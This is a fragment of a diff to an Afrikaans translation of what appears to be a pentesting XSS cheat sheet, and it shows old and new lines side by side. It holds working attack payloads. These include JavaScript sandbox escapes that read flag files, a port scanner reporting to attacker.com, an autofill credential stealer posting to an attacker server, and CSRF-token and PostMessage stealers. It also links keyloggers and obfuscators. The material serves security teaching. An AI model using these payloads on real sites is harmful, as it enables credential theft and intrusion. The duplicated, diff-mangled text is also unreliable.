(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) So, watter tipes kan aangedui word om 'n script te laai?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) So, watter tipes kan aangedui word om 'n skrip te laai?
```html
<script type="???"></script>
```
Die antwoord is:
- **module** (verstek, niks om te verduidelik nie)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy kan gebruik om 'n klomp data (HTML, CSS, JS…) saam te pak in 'n **`.wbn`** lêer.
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy 'n klomp data (HTML, CSS, JS…) saam in 'n **`.wbn`** lêer kan verpakk.
```html
<script type="webbundle">
{
@ -899,9 +899,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS ontketen.
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voorvertoning veroorsaak word, op te los. Dit werk soos volg:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur vooraf-rendering veroorsaak word, op te los. Dit werk soos volg:
```html
<script type="speculationrules">
{
@ -956,7 +956,7 @@ chrome-cache-to-xss.md
### XS Jails Ontsnapping
As jy net 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -989,7 +989,7 @@ constructor(source)()
```
As **alles is onbepaald** voordat onbetroubare kode uitgevoer word (soos in [**hierdie skrywe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) is dit moontlik om nuttige voorwerpe "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
- Deur import() te gebruik
- Deur gebruik te maak van import()
```javascript
// although import "fs" doesnt work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
@ -1011,7 +1011,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fout hanteerders** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te kry:
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanterings** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te verkry:
```javascript
try {
null.f()
@ -1053,7 +1053,6 @@ trigger()
- **Verskillende obfuscasies op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
- [http://www.jsfuck.com/](http://www.jsfuck.com)
@ -1346,7 +1345,7 @@ q.shift()()
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### Poort Skandeerder (websockets)
### Port Scanner (websockets)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
@ -1361,7 +1360,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Kort tye dui 'n antwoordende poort aan_ _Langere tye dui geen reaksie aan._
_Kort tye dui 'n antwoordende poort aan_ _Langere tye dui geen antwoord aan._
Kyk na die lys van poorte wat in Chrome verbied is [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) en in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
@ -1380,9 +1379,9 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe uitgelekt word.
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvallers se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe uitgelekt word.
### Keylogger
### Sleutellogger
Net deur in github te soek, het ek 'n paar verskillende gevind:
@ -1391,7 +1390,7 @@ Net deur in github te soek, het ek 'n paar verskillende gevind:
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- Jy kan ook metasploit `http_javascript_keylogger` gebruik
### Stealing CSRF tokens
### Diefstal van CSRF tokens
```javascript
<script>
var req = new XMLHttpRequest();
@ -1406,7 +1405,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```
### Steel PostMessage-boodskappe
### Steel PostMessage boodskappe
```html
<img src="https://attacker.com/?" id=message>
<script>
@ -1432,7 +1431,7 @@ shadow-dom.md
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### Blinde XSS-ladinge
### Blinde XSS lasladinge
Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
```html
@ -1528,7 +1527,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
### XSS in Markdown
Kan Markdown kode inspuit wat gerender sal word? Miskien kan jy XSS kry! Kyk:
Kan Markdown kode ingesluit word wat gerender sal word? Miskien kan jy XSS kry! Kyk:
{{#ref}}
xss-in-markdown.md
@ -1540,12 +1539,12 @@ Het jy XSS op 'n **webwerf wat caching gebruik**? Probeer **dit opgradeer na SSR
```python
<esi:include src="http://yoursite.com/capture" />
```
Gebruik dit om koekie-beperkings, XSS-filters en nog baie meer te omseil!\
Gebruik dit om koekiebeperkings, XSS-filters en nog baie meer te omseil!\
Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS in dinamies geskepte PDF
As 'n webblad 'n PDF skep met gebruikersbeheerde invoer, kan jy probeer om die **bot te mislei** wat die PDF skep om **arbitraire JS-kode** te **uit te voer**.\
As 'n webblad 'n PDF genereer met gebruikersbeheerde invoer, kan jy probeer om die **bot** wat die PDF genereer te **mislei** om **arbitraire JS-kode** te **uit te voer**.\
As die **PDF-skeppende bot** 'n soort **HTML** **tags** vind, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
{{#ref}}
@ -1560,7 +1559,7 @@ pdf-injection.md
### XSS in Amp4Email
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via [AMP components](https://amp.dev/documentation/components/?format=websites).
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, beskikbaar via [AMP components](https://amp.dev/documentation/components/?format=websites).
Die [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud binne hul e-posse te interaksie.